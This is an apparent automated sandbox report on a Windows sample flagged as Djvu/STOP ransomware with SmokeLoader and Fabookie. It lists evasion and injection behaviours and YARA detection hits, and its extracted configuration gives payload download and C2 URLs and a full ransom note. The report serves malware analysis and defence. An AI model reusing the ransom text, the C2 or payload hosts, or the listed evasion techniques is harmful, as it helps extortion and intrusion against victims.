Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	694057
MD5:	26c8ea801c4fd1239773bbdeb0e41cce
SHA1:	1b8c13e63e6682290d02e0d2b398765f5b36ab14
SHA256:	bed8fd323a648d51552ecf4f517b6d4366d2f45e290db5add805989e7332c15f
Tags:	exe
Infos:

Detection

Djvu, Fabookie, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Yara detected Fabookie

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Found Tor onion address

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

May check the online IP address of the machine

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Detected VMProtect packer

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Contains functionality to call native functions

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Connects to several IPs in different countries

Classification

Process Tree

System is w10x64

file.exe (PID: 5732 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 26C8EA801C4FD1239773BBDEB0E41CCE)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

regsvr32.exe (PID: 1412 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\BB5C.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 1504 cmdline: /s C:\Users\user\AppData\Local\Temp\BB5C.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

D7DE.exe (PID: 1924 cmdline: C:\Users\user\AppData\Local\Temp\D7DE.exe MD5: E990ACDB640F13969C55C38E857AB4AB)

D7DE.exe (PID: 4792 cmdline: C:\Users\user\AppData\Local\Temp\D7DE.exe MD5: E990ACDB640F13969C55C38E857AB4AB)

F5C7.exe (PID: 5796 cmdline: C:\Users\user\AppData\Local\Temp\F5C7.exe MD5: 2679869D7C3C730553BDB94848DDEEA5)

20C0.exe (PID: 5624 cmdline: C:\Users\user\AppData\Local\Temp\20C0.exe MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 5236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

20C0.exe (PID: 5356 cmdline: "C:\Users\user\AppData\Local\Temp\20C0.exe" -h MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 5204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

361E.exe (PID: 5260 cmdline: C:\Users\user\AppData\Local\Temp\361E.exe MD5: 9BCF2E87EAD0F21D2D02C9D1ABF7063C)

56E6.exe (PID: 3648 cmdline: C:\Users\user\AppData\Local\Temp\56E6.exe MD5: 5C59A1B24CC858398AEA8C7A1AE32406)

C40D.exe (PID: 6036 cmdline: C:\Users\user\AppData\Local\Temp\C40D.exe MD5: AE9E2CE4CF9B092A5BBFD1D5A609166E)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

bhseufd (PID: 4660 cmdline: C:\Users\user\AppData\Roaming\bhseufd MD5: 26C8EA801C4FD1239773BBDEB0E41CCE)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://acacaca.org/files/1/build3.exe"], "C2 url": "http://acacaca.org/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-lFoTUDc1Fx\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0549Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwWZ7difN4\\/w6uP6dgqG6\\\\nvftez3eaEgDMUWG64EFNomZk\\/aGagJUZNATseVKViU3SRhi\\/imDMtG6Kd0LzCs0Q\\\\nAqErh4UFa\\/yCKZqYcwV\\/9ubI\\/9lwSfhXyDiJ7Erz3GXu4uCZ2llrOvQQo3EjLKMd\\\\nfDs3N5nABcM0JOzt2lH3ErNF+I+LbRkCEhevBBMlmLVLGn02ynpSOz3ZMFdPUX+T\\\\nCsF54KacWKK5HKQ7LOZmsO61suDKNhMdGlSbRELZzmlBPrlGeOK1Ve0GQQzGi+ns\\\\nzWUqS1a35FJvwUlL7aLbYmlgIOLkrg2nnq5epbuQC0TZMKetJq\\/OVJHsZ7xbthII\\\\nlwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: SmokeLoader

{"C2 list": ["http://zdauctions.com/tmp/", "http://mordo.ru/tmp/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.553355323.0000000000918000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5028:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000017.00000002.552885193.00000000008A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000000.487085049.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000000.483176632.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.499037539.00000000025BF000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.437131679.0000000000B38000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5146:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000000.484757954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x814:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.393488044.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000017.00000003.530448441.0000000002470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x414:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.393850787.0000000000ADA000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4b56:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.437004694.00000000009B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x36d645:$x1: https://cdn.discordapp.com/attachments/ 0x36e115:$x1: https://cdn.discordapp.com/attachments/
Process Memory Space: D7DE.exe PID: 1924	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D7DE.exe PID: 1924	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4a32f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: D7DE.exe PID: 4792	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: D7DE.exe PID: 4792	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x310bc:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x6ad8b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa97a8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F5C7.exe PID: 5796	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
Click to see the 50 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.0.D7DE.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.0.D7DE.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
